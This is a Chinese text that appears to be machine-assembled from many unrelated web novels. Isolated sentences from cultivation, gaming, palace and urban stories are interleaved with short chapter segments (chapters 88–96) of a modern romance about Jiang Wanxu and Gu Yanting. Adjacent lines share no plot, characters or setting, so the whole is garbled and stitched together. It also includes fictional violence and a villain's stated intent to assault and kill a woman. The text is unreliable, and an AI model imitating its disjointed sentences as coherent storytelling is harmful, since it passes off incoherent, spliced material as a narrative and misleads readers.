不过他没想多久就释然了,这丫头运气好也不错,她早些强大起来,他也能早些撒手。
听言,两人便直接朝着里面走去。如果这些话他不早点想好应对方法,被林管事看出了破绽,那他就真的有些危险了。
“不无可能。”程泊志把苏妍拉进自己的怀里,一副这个时候不想动脑的样子。
自从晋国的平王下令各地领主开放山林河野,供百姓使用后,这些年来,越来越多的国家都向百姓开放了山林。
“完!蛋!”王龙现在可以确定不知道自己哪里露出了马脚,竟然在这种距离上也能被这个恶魔给发现。
“你。。”赵逸的那一声大吼可谓是用上了全力,听着赵逸当着这么多人的面大吼大叫的要打自己的屁,股,原本坐在马车之中的南素柔不由得差点没憋过一口气来。。
等关晓军从卧室走出院子里的时候,外面已经月到中天,看时间差不多已经是晚上八九点了,姐姐关阳看样子也刚刚从屋里走出来,正龇牙咧嘴的拿着筷子夹面条上的荷包蛋,只是浑身乏力,连煎好的荷包蛋都夹不住。
第一卷 第88章 如果换做是你
“这个我不好跟你说,一会凌道就回来了,到时候你就知道了。”蓝铭徒摇头说道。
奔着那一处微弱的光线使劲儿,没想到这一段路却很长,这就叫望山跑死马。又像吊着一根胡萝卜,非要把她这头驴给累死。
北原秘境与其它秘境和副本不同,地域面积过于庞大,在里面玩家互相之间看不到对方属性,无法服用血瓶,死掉掉装概率为百分百,还会爆出稀有道具复活卡。
败家,败家,败家,这是他们提得最多,而乔正崇在这期间也听过最多的词。
当年很多信息现在都查无踪讯,警方或许掌握了什么信息,但绝对不可能透露给他这种普通市民。
而在山中,白牡嵘依旧原地不动,她在等着楚郁过来,她倒是想看看,他是要杀她,还是要如何。
栯阳神经就有些复杂了,可能是时候要对人家进行改观了,大概也是没有人带着他出去使坏出去乱混,所以他就是拿到了钱财也不知道乱花,乖乖的全部交上来,还不知道要跟她要一点零花。
那时尘封落星,还没加入豪盟,所以不可能注意到明月这颗暗子。
叶仁会出现在北原秘境,是他们无论如何都没想到的,很多玩家亲眼看到,叶仁被一个黑色漩涡吞噬,怎么就回到这里了?
微微探头,白牡嵘开始往这附近的房顶上看,这么大一会儿的功夫,好多房顶上都趴着人。房顶上都这么多,藏在暗处的必然更多。而且,都穿着暗色的衣服,谁又知道这都是谁的打手。
时间紧迫,两组人马继续向楼上前进,楼梯和所有行政办公或学校楼梯一样,由中间大楼梯进入缓步台后分为两侧。
龙雨晴静静的看着水晶棺材内沉睡的许佩玲,俏脸上有着深深的羡慕。
暮,浑身尽显金光,犹如神仙一般圣洁,夏冰知道楚暮是修仙者,也没有过多的震惊。
魏哥妈妈在厨房里煮羊肉,听到动静从厨房出来,看着自己的儿子,非常高兴,还热情地招呼我和师父。
唐千林迟疑了下,见钱斯年领着人还在深挖,便和多田正一走到一旁。
综上,三宅恭次很清楚东北对日本的重要性,虽然他的理念与关东军司令部其他高层有所偏差,但他也绝不允许任何破坏日本全面占有东三省的行为出现。
因为井子阳、风佛晓和邴凡等人的死亡,这段时间根本没有人去关注张云益这个名字。
如今仇人再次相见必然是分外眼红,若不是韩铮暗中命令她不许胡来,这妞早就上去玩命了。
走过那堆篝火之后,两人终于看清楚在后方所谓的丛林中有着无数修建在树上的木屋。
就在队长更换弹匣的时候,又一个黑影顺着洞壁滑下,猛地朝着他扑了过去。
等到陶子思退下,李成默默地看着外面的天空,表情恬淡,不知道在想些什么。
“这个老混蛋,到现在还把罪责撇得一干二净!”恽夜遥身后响起咬牙切齿的低语。
过了一个时辰,众人一路上又捕捉三头碧眼狐灵兽,总共也捕捉了七头灵兽了,或许在过两三个时辰,捕捉十头灵兽的任务就能完成了。
“哈哈,凭你们,真以为弄出我的灵魂来,能杀了我?”她说话的时候目光阴冷,而我这时候才发现,那原本已经瘫软的身体,此时竟然缓缓的从地动了起来。
当看到这里的时候,关心瞳已经不知道自己在想什么了,只是觉得胸口很痛很痛,然后她便什么也看不清。因为泪水早已模糊了她的视线,一滴一滴,落在照片上,晕开了那一行行真挚的字体。
连忙又是一颗百草丹和一颗蟠桃回天丹吞下,连忙稳住身体。这蟠桃丹是当初宓珠分与他的,一共只有三颗,他一直舍不得用,现在却也顾不得这么多。
据古籍记载,龙生九子各有不同,但是也算上是真龙了,可是能活一万年的海兽,那是很多的,毕竟海中乌龟一般,甚至活得比万年还要久。
手掌一挥,片片手术刀,如飞鸟之翼,凭空连成一线,像是魔术师手中的扑克牌向骆明君弹射而去。沿途中无数阻拦的丝绦,被锋利刀片割裂、穿透,纷纷落入尘埃。
这叫什么话,我现在还是个普通人,对死亡的恐惧一直都在,难道还不许我忐忑一下吗?
话又说回来,这个寒冰灵蟾的价值就已经如此之高了,比起周围的灵草价值更高,只要灭杀了这头寒冰灵蟾,将它的躯体用于炼制各种法器,这个吸引力已经足够大了,谁还在乎其他东西呢,甚至连筑灵参草也可以不要。
一件神器,可以纵横天地,若是几件加一起呢?那岂不是任我逍遥了?
“算了,今天放过你!”两个长老对哼一声,从身后各种拿出了一个奇怪的卷轴。
老太医脸上‘露’出欣慰的笑容,紧皱的眉头也舒展开了,恭敬的说道:“娘娘是否良善,臣心中一惊有数了。老臣一直对那日的事无法释怀,今日听了娘娘一番话,见到娘娘的义举之后终于可以解开心中的疙瘩了。
他舔了舔发干燥烈的嘴唇,想到现在是考验自己的时候,狠狠心,什么也不顾了的往前攀爬过去了。
“念念,你到底是为什么!”吕静雅不理解,米白有米家人,为什么还要守着薛家人的摆布。
死者为大,注目礼就注目礼吧!很多玄武家族之外的人,大部分是怀着这样的心情恭敬了起来的。
第一卷 第89章 你就是个扫把星!
乔若馨沉默了。
她看着照片上那个满身是血、眼神却依然倔强的女人。
突然觉得自己的那些所谓“委屈”,简直矫情的可笑。
她只是失去了一个不爱她的男人。
而江晚絮,是在地狱里爬行了五年,把自己的骨血一点点拼凑回来的。
“她……她不疼吗?”
乔若馨的声音带着哭腔。
“疼啊。”
对于提拔高龙藏为副堂主、并直接指定为一品堂的继承人的事情,几乎所有一品堂的人都感到意外。
“蛟魔王,你疯啦!”屠四海惊吼无比的大叫,急忙身躯一侧躲了开去。
听到了战老的话语蒙奇的双眼顿时一亮!心中似乎有着一层薄薄的隔膜被战老的这一句话生生的捅破了,心里变得通明了起来!看着蒙奇这般的表情战老淡淡的一笑继续说道。
燕王视如不见,右手按上剑柄。古严死死盯着燕王,木雕似的面孔起了一丝波澜,突然,他张开口唇,发出一声锐啸。
乐之扬惊怒交迸,叫声“住手”,正要起身,两个怪人同时出手,五指扣住他的双臂,力量大得出奇,几乎拧断他的骨头。
除了四大门派的堂口外,还有许多家族门阀,都分布在宣州境内。
冷玄也应声掉头,白眉耸起,眼露猜疑。大觉尊者长吐一口气,突然扬起手来,一记“大手印”拍向扶桑道人。
“去洗洗吧!顺便把肿给消了。”清风客丢给蒙奇一瓶药膏吩咐道。
这座农庄占地几十亩,四周人烟稀少,完全可以和世外桃源相媲美。印缅国的土地并不太值钱,租一个这样的农庄个把月甚至还不如在华夏国大城市租一套商品房的钱多,自然是划算之极。
“朕的本体总有回归的一日,那时候,你的一切,都是朕的!哈哈哈。哈哈哈。咒圣,如若吞灭了汝之意念,得汝之全部的道悟后,不知道朕的修为,会如何?”昊天再度大吼,却有些虚弱。
几乎与此同时,火箭筒射手抛下火箭筒原地两个侧向打滚躲过了迎面打来的一排子弹。
突然,云风有一种想亲张飞燕的冲动,而且,这个想法一旦有了,就再也磨灭不了。
“天哪,张大成到现在居然还没动过手,居然已经进了前三,运气太好了。”一个护卫感叹道。
她和叶志国的对话传了出来,因为山上的风大,声音不是太清晰,但还是能够听清楚。
“所以别随意为我的人生道歉!我已经抛开过去了,我现在很开心!”娜美说着露出了灿烂的微笑。
“朱佳怡的话,我目前很放心,发给她吧,这就是底蕴。”成子衿感叹道。
这次老头子让他回来,他提了一个条件,那就是让那桩婚事取消。
他没了双眼的眼窝漆黑,左眼更是因为之前自己粗暴的挖眼,鲜血淋漓。
眼见敌人之势势不可挡,莫凡只好玩起了迂回曲折的游击战略,极力施展“龙游八荒”和“乘风蹈海”两套身法来躲避对手的杀招,真要被几十米的寒冰巨剑蹭上一下,不死也得脱层皮。
莫凡一向惜命,察觉气氛不对就赶紧逃之夭夭,在法阵结界未破时就早已跑到莫承益的身后躲起来,有位斗王爷爷当挡箭牌,他自然毫发无伤。一者要杀,一者要护,一场激烈的斗王争斗赛立即呈现在众人面前。
第一卷 第90章 你疯了吗?
“顾夫人。”
江晚絮的眼神冷了下来。
她可以忍受别人的误解,但不能忍受别人侮辱她的人格。
“我敬你是彦廷的母亲,才坐在这里听你说废话。”
“我的家庭是我无法选择的,但我的人生是我自己走出来的。”
“我身上每一道疤,都是我清白的证明。”
“至于彦廷……”
江晚絮站起身,居高临下地看着秦兰。
大胡子袁蒙也是一声长叹,对于袁洪可以说是无比的重视,这是族内的天骄,是袁氏一族的希望,将来要守护族人,庇护一族传承。
见此情形,封逆不由得心头微惊。仅是动手聚气的威势,就已如此惊人,便可知若是这一击出,必是惊艳当世,沛然难御。
倒吸冷气的声音忽然是在袭击者口中传出,大脑意识当中的剧烈刺痛感,使得此人浑身战息瞬间一滞,便连动作也是出现了短时间的停顿。
我站在影魔的身后,缓缓回身,这御剑七式本来是打算防止意外先控制它再绝对命中的,可是缚魂链和冲锋都没能成功,所以只好直接释放。
进入其中,说明了来意后,就有一位穿着黑白礼服的老者将他接引到了一个迎客厅。
魔岭之行告一段落,实力翻了不知道多少倍,接下来就是静心的修炼,缓缓的悟道,感受水的意境滋润体魄。
刹那间,一种芒刺在背的感觉,打破原本逍遥之感,无数的利剑,从高空蓦然落下,刺破云层,朝自己射来。
BOSS缓缓地落下,浮在了距离地面一码左右的高度,我们都能够攻击的到她。
云王级的印潭,要是连这个都躲不掉,就不是云王级了。故此,云贤抓住降魔杵,木行力量爆发,一降魔杵预先朝空中打去。
凌云峰仍是自信的坐在原处,丝毫没有理会那直奔而来的旋转子弹。
若璇也不再说什么,只要搞定她们就好,她也沒有太多的时间浪费在她们身上。
宏宣帝笑着摆摆手,道你坐着吧,别吵醒孩子。”说着,来到皇贵妃的床边坐下,凑过头看了看皇贵妃怀里的四皇子。
当然,背后的阴谋诡计是少不了的,不过,这种问题,叶青需要担心吗,他冉云飞需要担心吗?
看起来,等闲暇之时,不得不去缅甸跑一圈了,现在手上的这块石头,顶多还能吸收二十几日,到时候没了毛料,李岩修炼肯定会止步不前的。
接着,这名妖怪慢慢的走向前,露出他那可怕的面目,阴森森的说道:“我名叫傲因,是一名妖怪!”龙道灵一听,心想,傲因是什么东西,都没听说过,看来妖怪之名真是五花八门。
虽说她明知道他很富裕并不在乎这么点钱,但平白无故拿人家的,心里也总是不安。
白氏庄园的会客厅分为两个,一个是大厅,一个是正厅。大厅是对于一般朋友来访者而言,正厅则是留给重要客人的,其中当然包括白珠的未婚夫。
意乱情迷的若璇睁开一双眼眸,视线越过名楚无比清晰的脸,落在房间里那个不知道什么时候闯进来的男人身上。
贺鎏阳深深抽了口手中的烟,然后将烟掐掉。拿出手机,打了个电话。
可凌筱寒虽然没听出来他话弦外之音,但是不代表冷羽辰也没听懂。
连连点头,灵妃似乎被璟帝感动到了,她狠狠扑进他怀里,把眼泪放肆的蹭在他胸口,非但没有让璟帝生气,反而让他眼神宠溺着一把抱紧了灵妃在怀里。
第一卷 第91章 是谁高攀
“晚晚,我们走。”
江晚絮看了一眼脸色苍白的秦兰。
平静地走出了包厢。
“顾彦廷。”
走到车边,江晚絮突然停下。
“怎么了?是不是刚才吓到了?”
顾彦廷紧张地看着她。
江晚絮摇摇头,突然踮起脚尖,在他的唇角轻轻吻了一下。
“我没那么脆弱,谢谢你。”
谢谢你爱我。
华曦握住拳头,又慢慢松开,这才慢慢走到走廊上,看着魔界暗沉沉没有一颗星子的天空。
建立一个佣兵团,尤其还有称霸幻兽大陆野心的佣兵团,最需要的是建立体制,一个健全的体制是佣兵团运作的核心,甚至是坚实的的基础。
“那吃完早餐,就去睡一会儿吧,我明天要飞德国,也许会在四天后回来。”李漠然温柔的说着,他想在她的面前,塑造出一个好男人的形象。
赵欣只知道,如果当真相摆在面前,赵欣一定会选择知道真相。宁可清醒的痛着,也不要迷糊的幸福。
黑色保时捷超跑,正稳稳地停在别墅正门口前方的绿色草坪停车位上。
陆老头咳嗽一声,他总不能说,自己根本不记得齐振国在哪个城市吧?
柳木却不以为然:“就他们的炼钢术,这些已经足够。我们走。”柳木没打算再留在训练场,这里有李君羡带人训练罗马士兵的重骑兵技巧。
“不是,一定不是这样的。”卒乌启茗失魂落魄地摇晃着身躯,一摇一摆,走回庄园。
林永芳见她没作声,以为她认识到自己的错误了,也就没有继续批评她了。
尤其是那三位用了月白料子做衫的姑娘,更是想知道是谁出了这么个好主意的。
或许,在越国确实没有他的敌手,让他一路凯哥高奏,得意忘形了。
“大爷爷,阴圣夜肯定会来……”墨许诺说到这里,忽然卡壳了,她慢慢的瞪大双眼。
“大嫂,我们去说没用,他也算大哥的属下,您去说一句好过我们一句。”石灿道。
还不如趁现在刚刚晋级的时候,体内玄力最为充沛,说不定还可以一鼓作气地完成试炼。
大部分的军嫂都能够理解,人家正吃饭肯定不愿意谈事,何况这是大冬天,说话间饭就冷了。
秦栩栩抖了,抬起一双红通通的兔子眼,怯生生的看向对面,正要张嘴道谢。
“艾薇儿真的我没事的,他们如果能修成正果最好了,到时候我们山谷又添了一件喜事呢。”宋芳菲极力掩饰自己心里的不舒服。
上房这边,香芹几个丫头在来回送着热水,听到老爷那边传来消息,都大感惊愕,却不敢跟双至多说一句,只好等夫人先把孩生下来再说。
周丽娘瞧着顾十八娘的样子,心里就憋气,还笑,有你哭的时候。
众人行动恢复正常,就感觉看朝四处看去,他们要查出这说话之人是谁,想不到简简单单的几句话就可以化解这毁天灭地的气势。
叶明净现在最大的感觉就是时间不够用。她想尽量多的时间和父皇在一起。可这恰恰是最难办到的事。承庆帝什么话都不说,只消眼神一瞥,清瘦的脸上‘唇’角紧闭。叶明净便再有不舍也只能压在心底。
而且没有光亮,不过,韩凝本是夜行的狐狸,夜里视物如白昼一样。
席多多转了转眼珠,低下头:“我……我只是想去后院找策哥哥,没有看到她走过来!”竟然有几分紧张。
第一卷 第92章 不怀好意
顾彦廷走了,医院的走廊里又恢复了死寂。
但这种死寂并没有维持太久。
一阵高跟鞋的声音传来。
哒、哒、哒。
很有节奏。
江晚絮抬头,就看到一个穿着香奈儿套装的中年贵妇,挽着一个打扮得花枝招展的年轻女孩走了过来。
那是顾彦廷的二婶,赵美琳。
左晴空低头看看阎罗余手中的勺子,犹豫了一下,张嘴把粥含在嘴里,想咽下去,可不知怎的,就感觉嗓子像是被什么东西给卡住了一样,坚持了好一会儿,才慢慢的把粥吞下去。
左晴空牵着程思念的手,缓缓地走进这个空间,空间雾气环绕,却丝毫不影响视线。
“给我水。”王问渔看着闻鹿鸣难得露出的迷惘表情,不由微微笑了,神色温柔,指着大盆,音色低沉地让她供水。
他已经和阿依古丽通过电话,在电话中,阿依古丽把石教练数落了一通,并嘱咐袁东帅千万别去技师学院踢球。
她见大鹅的攻击力并没有强到能对自己造成伤害,便想要拿这两只大鹅来练练手,不知道她那个技能有没有提高。
那个乞丐更是笑得猖狂:“娘子,你还是在我与老刘头俩人之间选一个!我二人至少不像那废公公和糟老头,咱哥俩儿至少龙精虎勐,能好好伺候娘子。
面对实力强出自己一大境界的强者,也没有任何惧怕。只不过,二十几天不见秦锋,让她心中颇为孤独、担心。
听见熟悉声音,邹汶怀转身看去,他的红颜知己刘良华正花容失色跑过来。
凌枫眸中闪过一抹惊异。他并不奇怪,对方能看穿改变肤色的简单化妆术,认出自己。而是这两个家伙,好似专程过来找自己。
就算真的留在这里陪伴着太太上皇,那对于家族来说,也是一件好事。
洪娟尽管心里很反感,但被对方突然的举动也弄了个措手不及,硬着头皮忍了。
听到涂山雅雅的话,秦朝这时候才反应过来,一脸抱歉加尴尬的表情看着涂山雅雅,而在秦朝放下涂山雅雅以后,涂山雅雅直接气鼓气胀的表情看着他问道。
确实,证明千禧年数学难题会对人类有重大提升,但现在他们身处异世界,还是多着重当下吧。
听完赵欢的话,傲天的虽然说没有说话,但是还是一脸鄙视的眼神看着他,必定自己老大这个朋友完全就是睁眼说瞎话不是,什么酒忙活了一天了!难道忙活一早上的人不应该是罗兰吗?
如果是这样,查尔斯可就是纯纯大怨种了,他的加入可以说是毫无意义。
还是高估他了,这个男人到底改不了人渣本性,希望他帅气的解决问题是不可能的。
中部一带的气候虽然没有北方那么寒冷,但是潮湿的阴冷,仍让人感到彻骨的寒。
而西医则是哪里出现病变则治疗哪里,不会进行全身治疗,比如脚部疼痛,会对脚部进行相关检查,再通过病因进行治疗。
而这一点,对于袁耀而言,却并不是什么难点,因为他对这些病,也很清楚,他的前世,所在的时代,正好也发生过几次比较庞大的传染病。
一旦月沉吟雷系属性曝光,那会引来多少势力的窥探?毕竟雷系灵根太过特殊,让人忌惮,又惹人垂涎。若只是这下界面的人知晓还好,若是惊动了上位面的大势力,到时候,就算他实力强悍,无人能敌,怕是也防不胜防!
第一卷 第93章 我没让你输
“我是顾彦廷的妻子。”
江晚絮直视着顾建宏的眼睛,一步未退。
“这是法律承认的关系。”
“至于资格……”
她冷笑一声。
“当初我给江芊妤捐骨髓的时候,江家人也是这么说的。”
“说这是江家的事,我没资格拒绝。”
“结果呢?”
“他们差点要了我的命。”
“所以现在,我对‘资格’这两个字,过敏。”
得到煌炎黑龙复苏的消息,整个皇庭立刻进入最高国战级别状态。
如果说最初打不过对方还有那么一丝不爽的话,那么此时此刻的发现,终于让他好接受了不少。
话音刚落,秦隆就朝着沈雨冲了过去,他的身体被一道白光包裹起来,白光渐渐消失后,他的身上出现了一个看起来有不知道是哪个年代的铠甲,在穿上这个铠甲后一瞬间,秦隆消失了,下一秒,他出现在了沈雨的面前。
有那么一句话说的不错,一个朝代的风气,根基在庶民,而魂魄在庙堂。
“额,石兰姑娘,我劝你还是放下刀比较好,他的实力很高,你这么根本伤害不了他的。”少羽也是说道,他不想看到王靳辣手摧花呀。
“有意思。”乌鸦首领舔了舔嘴唇,像是在细细品尝鲜血的恶魔,他的舌头,也和他的样貌一样让人恶心,原来,他的皮肤已经和破布形成相同的颜色。
因刚才的一番大战,两人身上均沾了些泥土,回到卧室后分别沐浴更衣。柳诗妍仅着抹胸亵裤掀开帷幔,刚上得床,方羽便如猛虎下山,瞬间将其障碍物褪尽。
拿开了最上面的那一颗骰子,显露出来的正面还是一个六,魁梧大汗蛮子就忍不住的叫了起来。
暗魔虎王没有像它刚刚说的那样去安全区,而是继续在战场上到处走动,反正那些武器很难击中它,一旦有士兵围上来的话直接说话就行,妖兽和智慧种族地位平等,他们也不敢把自己怎么样。
就连一旁的严叔,威严的眉宇间也是闪过一丝别样的神情,不过随后就消失得无影无踪。
其三,也是最重要的一点,他不甘心就这么以失败告终。许崇川还想着回击,而在桂林显然是最有机会反击的。
确实,青城子,百花仙子可以在北冥之海纵横,难遇敌手。但成武帝如果要在北冥之海称王称霸,随时能拉出几千甚至上万跟他实力一模一样的高手出来。
其实吴峰还是很好奇他们三支队伍是怎样把符箓殿给破坏的,没想到一来符箓殿就已经被规则之罚给消灭了,这才是他感到最为吃惊的。
可既然衙门里衙门里出了这样的大事,两人的聊天也不可能全然绕过,不知不觉间便就说到了这事。
虽然那天宋成的儿子宋青秘密把事情处理了,但与张勇关系近的都知道了,而潘可是身份在那里,加上他那个时候已经开始蓄意讨好张勇,所以也从宋青那里得到了消息。
上官云遥声音急切的传音道,而原本正在稳住伤势的陆雪瑶听到上官云遥的暗中传音之后,一张洁白无瑕的脸上都是闪过一抹担忧之色。
她咽咽口水,自己身为南疏的助理,接下来每天都要承受这种美颜暴击,真是一种幸福的煎熬。
她的粉丝数现在已经开始蹭蹭蹭的暴涨,几个大热搜上去,她的粉丝数量,系统特意给她脱了水将原本的僵尸粉刨除了,就这么几天,南疏就多了几十万的真实粉丝。
第一卷 第94章 她失踪了
水泠洛立时被他说得羞红了脸,却只是垂下头去,任由他拉着自己的手。
可就在他落地的一刹那,有一样东西突然从他的颈间甩脱出去,正巧落在了冷衣清的身前。
翅膀再次一挥,四周刮起一阵狂风,遮挡了四周的视线,平静过后,黑翅天使和谷思思都不见了。
不过得意又怎么样,还是得给他上酒,谁让她在吧台里充当服务生呢。
“没有什么看法……他的做法,很符合冰雪神宫的规矩。”仙狐儿淡淡地说道。
他看了看周围,发现了林轻衣,狠人大帝二人,以及两名男子,一个中年男子,一个年轻一些。
次日,早上的阳光才刚刚露出一丝,杨涛就悠悠转醒。他的手中,此刻依旧死死的握着那个寒气团。一直都没有松手,宛如一颗丹药。
“倒也是哈。”闻言,李少凡点点头,这话一点多没有错,之前李少凡似乎忘记了这件事情,自我封印和被人封印那完全是两个概念,东皇太一绝对不是没脑子的人,不然这家伙当年也不会做大妖族了,高手之中的高手。
“我,你……”纨绔直接就不会说话了,显然没有想到事情会发展到这一步。
这一切的原因自然是因为店铺里的东西有保障,而在摊位上的东西虽也有保障,但是保障度却不像店铺里那么高。
雅妮也是,她为什么回来找我呢?现在我出去肯定是狂暴状态,说不定会把雅妮弄死。想到这里奈格尔感觉很不舒服。
却只将哪吒盖在手底下,即不曾捏他,也不曾压下,一来刘樵手下留情,没必要把事做绝。
巨大的打击声突然从上方传出,马仙洪定睛看去,只见华笙直接是一拳狠狠地砸在了自己的盗吞兽身上,即便是盗吞兽有着自动吸收敌人的炁的功能,这一拳还是令器身上面出现了一个拳印。
“阿杳,需要我帮你吗?”看着夜姝凰有些倦意的脸,宁翌辰有些心疼。
“万蛊之王?”绿和听到这个,眼睛一亮,听到这天下至邪之物,便想到了它。
沐云西又拿出几片药丸,掀开帘子准备让霍霖封服下,这时马儿被不明物体击中,长啸一声就扬起了前蹄。
估计是前世的影响,对于这种存款一直花费的情况,林北是有点心慌的。
“没什么事我就先回去了。”沐云西此时觉得有点莫名的烦躁,她也说不清这是为什么。
听到这句话,奈格尔立刻握紧了爪子,双翼展开,尾巴直了起来,全身自动进入了攻击状态。
身体素质也在不知不觉间提高了起来,虽然比不得强壮的成年男子,但是一张桌子还不在话下。
张局长:我知道你打入敌人内部了,因为你的手机号码在我警局的监控之中,你走到哪我都能看见。
神识中的无泪之城每个角落都已经被魔气覆盖,在也没有了安全的地方。到了这个时候王炎的计划已经成了一半,究竟是对是错也马上要揭晓了。
忽然,他想起了那个在烂木箱那里遗留的一个乌龟壳,那个玩意虽然布满裂痕了,但是他用墨玄剑劈砍过,牢固的一批,难以想象是什么样的力量将这龟壳给打裂开来的。
纵观天下,圣地称霸世间,但能够称得上是古世家的,实力也绝对不低。
秦天并不蠢相反两世为人的经验还很聪明,把这些事情联想起来顿时暗道不好。
相较于人类,异兽对于天才地宝的感觉更为敏锐,大多数宝物在幼苗时便被发现,异兽会暗中保护起来,等待成熟之后享用。
环着楚妍腰肢的手臂,又加了一些力道,紧紧的搂着楚妍,眼中充满烈火。
那些房子看上去也很有年代感了,是那种上世纪80、90年代城市居民所住的那种筒子楼。
他的右手宛若凝聚了金海,阵阵雷鸣般的惊爆声响起,五指萦绕紫蓝色的雷电。
秦立还是没有发现,在他跑动的时候,在他的前面出现了一股奇怪的能量,在带着他向一个方向慢慢的偏离,而且还是维持在了一个秦立他根本就发现不了的状态下。
其他的人还只是收取,因为他们若想要在体内炼化一缕生命之光,那需要闭关,需要很久时间。但是云山不同,他需要的不是炼化生命之光,而是用生命之光去炼化琅琊的躯体。却根本没有其他修士那么麻烦。
看到秦风他们离开了之后,那些不相信秦风的人就互相的看了一眼,开始在这里找了起来。
现在叶家虽然团结,但实力决定一切,无论巅峰还是中层,都不如陈家。
只因深知隐藏于暗处的那个敌人极其强大,说出来对大家有害无益,所以在心里稍一掂量,肖云峰还是决定保守自己和正阳长老之间的秘密。
“是。”张少博激动地说道。张少博仔细地看了看周围的每一个物品生怕漏下什么。
“老大,别跟他废话,就算他修为比咱们高,咱们巡察署的捕役却也不是孬种,大不了跟他拼了就是!”于冕也不是什么好脾气,眼见那人根本不听解释,登时便是火冒三丈,扔下手中的棍子就要发动冥息冲上去拼命。
第一卷 第95章 他有什么好的
顾彦廷转身就往外走。
脚步急促,甚至有些踉跄。
“顾总!您去哪?”
“让保镖守在这儿!”
顾彦廷头也不回,声音里带着一丝慌乱。
“你留下!要是二叔敢来,就算是死,也得给我拦住了!”
“可是顾总……”
“我去找晚晚。”
顾彦廷冲进电梯,死死按着关门键。
镜面不锈钢里映出他的脸。
那是怎样一张脸啊。
双眼赤红,青筋暴起。
黑色的迈巴赫在马路上狂飙,连闯了八个红灯。
说这话,邵山撩起了头发,果然见他的额角有一块青肿,确实是被人打过的样子。
成自在看向李日知,冲李日知点了点头,他打算埋伏在镇子外面,总之是不会让李日知出危险的。
刘惟宁有些担忧的朝宁修望去,显然怕宁修一时冲动上去把杜训导暴揍一顿。
毕竟是自己的亲骨血,纵然打的时候再下狠手,打过后还是心疼的。
两名锦衣卫校尉冲上前去,三两下便把刘惟宁严严实实的捆在了刑床上。
因为地下黑暗,目前又没有矿工帽之类的照明设备,所以只能让一部分的狗头人先拿着火把。
所以,凡事都有个事不过三的说法,干完丁秋水这一票之后吕树便不打算再利用孙仲阳等人了,真把对方惹急了恐怕也会很蛋疼。
荷马史诗是男人的史诗,既不婉转,也不细腻,只有一股慷慨豪迈、激昂向上的英豪之气,犹如无形的飓风一般,震撼着所有听众的心灵。
只不过是决定在帝俊婚宴上多陪帝俊喝几杯,这算什么事情,江萧等人随即就将此时放在一旁。
等她记住这些资料后,又将召唤雷神赞因的方式教给她,至于能否成功召唤出来,那就不关自己的事了。
打招呼吗?我还真没这样的打算。和她林晓打招呼,想想还是算了吧,毕竟我们还没那么熟。这要是打下来,有的只能是尴尬。
倒在船板的凌云霄看向夏夕颜,嘴角缓缓勾起弧度,脸上浮现一抹带血的妖冶笑容。
“秀儿,去哄哄你妈妈。”沈体清很郁闷,他责怪老娘,大姑和老婆反倒是哭的稀里哗啦。
“好吧,那你要是无聊的话就记得给我发消息,我会第一时间赶过来陪你的。”看着我,周兴亮认真的说道。那架势,看得我都有点想说你还是留下的话了。
高高的城墙之上,一身龙袍头戴龙冠的慕君主在将士们的守护之下登上了城门,他一眼望下去便看到了君北陌身旁那一抹就算化成了灰自己都认得的身影。
路娇娇低下了头去吃东西,对于顾盼所说的话,她实在是不知道该怎么回答,毕竟这事儿她自己都有点摸不着头脑的感觉。
这个机械声音出现得很是突兀,南溪都还来不及反应,在她的眼前便出现了一面半透明光屏。
“不为什么,就为你年轻美貌的身体,我想要睡上一睡,你可愿意?”冯万涛终于露出了自己的獠牙,这种机会不好找,冯万涛来到这里的时候,就打定了注意,制住芊芊,玩上几次,然后毁尸灭迹。
可还才往楼梯方向跑了三五步的距离,她便觉得脑袋轰的一声,眼前微微一黑,顿时感觉天旋地转起来。
“可以吗?”宋孤烟才进院子,就嗅到了浓重的塑料味和一些化学药剂的味道,忍不住问道。
张三回屋换上这身蓝色的士子衫,显然是一菲按照自己城里买的那件样式制作的。虽然是麻布的,但是穿起来也是很舒服。
第一卷 第96章 我这么做都是为了你
叶寒突然暴怒,将手中的酒杯狠狠砸在地上。
“啪!”
玻璃碎片四溅。
几滴红酒溅在江晚絮的脸上,顺着她的脸颊滑落。
江晚絮看着这个发疯的男人,眼里尽是厌恶。
“叶寒,你真的爱过我吗?”
叶寒愣了一下,似乎没想到她会问这个问题。
“爱?当然爱!”
说到底,还是实力决定一切。王彪表现出来的强大战力和天使族如日中天的实力,使得风暴之神一不敢轻举妄动了。
顾筱北听着厉昊南磁性迷人的声音,耻辱和恐惧瞬间爬上她的心头,他只这样轻轻的一句,自己从此就要堕入无间的地狱,万劫不复。
玉榭性子温和,一向与世无争,理论上来说,这人不会威胁到姬炫。
魏炎心里知道,这阴尸宗的人准确地说应该算是魔道,这三眼吞魂只怕是无法接近他们。
四道光芒凭空出现,除了其中一道已经让人熟悉的之外其他的每一道都让众人惊骇不已。
“普通人都有着自己的梦想和追求,而能明确的沿着自己的梦想前进的人也许他们最后失败了,但是能成功的人都是如此走过去的,有梦想不一定能实现,但是没梦想的人就什么都没有。
十二具人形傀儡变成六具之后,顿时不敢再像先前那样向外攻击。
最后,除了身体尚未完全的康复的钱蓓蓓之外,其余的人都参加了,钱蓓蓓虽然是万分的不情愿,但是在林西凡的威逼之下,她也只好服从了。
梁栋一笑,这结果在意料之中,可以得到他的保护又有机会报仇,相信只要不是傻子这条件都会答应的。
是的,只要有他在,有这样的战歌在,再可怖的阴霾也终将散去,再深沉的夜幕也终将升起,再凶险的诡计也终将被识破。再阴邪的力量,毕竟战胜不了阳光。他们坚信。
“恩,是苏苏!”君一笑的神识要强出了余欢不少,马上予以了确认。
云罗天想要劝阻,可云月已经掏出手了,除非林辰拒绝,否则就没有再收回的道理。只是对于云月的心思,是越发困惑了。
"那钟藜是、、、"宋端午沒见过钟藜,自然不知道她到底是何年纪。
这一句话可谓是欲拒还迎的典范了,虽然说这看似说的很是为难,但是里面究竟有多少的欢喜和期待,恐怕也就只有程璐璐自己知道了。
没道理,林辰只是借于诛魔剑才有如此威能,但论实质修为与身法,血通天自信还是胜于林辰。
“呵呵,难道你还想对本座动手?”劝解无效,老者的脸色也冷了下来,数千年不曾出山了,一出山,连这点事都摆不平,老者的内心其实很不是滋味。
金芒剑虹,重重金龙汇聚锋芒,倾尽至强一剑,强行击破滚滚能量气场。
即使看到联军成员出现,它们也沒有半点惊慌的样子,依然只顾着啃食地上青翠鲜嫩的食物,好像根本就沒看到联军似的。
众人望着匆匆而过的帝国战队,一时沉默了,盯着战队消失的地方很久。
五兄弟都直勾勾的看着自家的大哥,希望老大能够给个满意的答复。
众人只觉得身子一轻,已在一间巨大的囚室中,接着囚室大门轰然紧闭。
